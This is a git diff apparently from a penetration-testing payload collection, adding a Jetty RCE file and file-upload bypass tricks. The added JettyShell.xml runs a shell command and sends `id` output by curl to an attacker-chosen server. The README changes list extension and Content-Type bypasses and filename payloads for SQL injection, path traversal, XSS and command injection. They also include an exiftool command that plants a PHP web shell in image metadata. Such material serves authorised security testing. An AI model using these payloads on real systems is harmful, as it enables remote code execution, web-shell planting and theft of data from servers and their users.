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Jetty RCE + Upload tricks

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15
Upload Insecure Files/Jetty RCE/JettyShell.xml Normal file
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@ -0,0 +1,15 @@
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>/bin/sh</Item>
<Item>-c</Item>
<Item>curl -F "r=`id`" http://yourServer:1337/</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>

54
Upload Insecure Files/README.md
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@ -14,6 +14,7 @@
* [CVE - Image Tragik](#cve---image-tragik)
* [CVE - FFMpeg](#cve---ffmpeg)
* [ZIP Archive](#zip-archive)
* [Jetty RCE](#jetty-rce)
* [References](#references)
@ -44,14 +45,22 @@
.phtm
.inc
```
* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap`
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
* ASP Server
```powershell
.asp
.aspx
.config
.cer and .asa # (IIS <= 7.5)
shell.aspx;1.jpg # (IIS < 7.0)
shell.soap
```
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action`s
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
### Upload tricks
- Use double extensions : `.jpg.php`
- Use double extensions : `.jpg.php, .png.php5`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Null byte (works well against `pathinfo()`)
@ -63,7 +72,10 @@
* `.php\x00.jpg`
- Special characters
* Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
* Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
* Whitespace and new line characters
* `file.php%20`
* `file.php%0d%0a.jpg`
* `file.php%0a`
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
* Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
* Multiple special characters: `file.jsp/././././.`
@ -71,6 +83,7 @@
* `Content-Type : image/gif`
* `Content-Type : image/png`
* `Content-Type : image/jpeg`
* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Set the Content-Type twice: once for unallowed type and once for allowed.
- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
@ -82,15 +95,21 @@
### Filename vulnerabilities
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
- LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
- File Traversal e.g. `../../../tmp/lol.png`
- Command Injection e.g. `; sleep 10;`
Also you upload:
- HTML/SVG files to trigger an XSS
- EICAR file to check the presence of an antivirus
### Picture upload with LFI
Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
Valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
@ -102,19 +121,20 @@ Create a custom picture and insert exif tag with `exiftool`. A list of multiple
```ps1
convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
```
### Configuration Files
If you are trying to upload files to a :
- PHP server, take a look at the .htaccess trick to execute code.
- ASP server, take a look at the .config trick to execute code.
- PHP server, take a look at the [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) trick to execute code.
- ASP server, take a look at the [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) trick to execute code.
Configuration files examples
- .htaccess
- web.config
- httpd.conf
- \_\_init\_\_.py
- [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess)
- [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config)
- [httpd.conf](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf)
- [\_\_init\_\_.py](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Python%20__init__.py)
Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.
- package.json
@ -162,14 +182,20 @@ When a ZIP/archive file is automatically decompressed after the upload
zip --symlinks test.zip symindex.txt
```
### Jetty RCE
Upload the XML file to `$JETTY_BASE/webapps/`
* [JettyShell.xml](https://raw.githubusercontent.com/Mike-n1/tips/main/JettyShell.xml)
## References
* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
* [Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l)
* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/)
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)
* [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)
* [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)
* [File Upload - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload)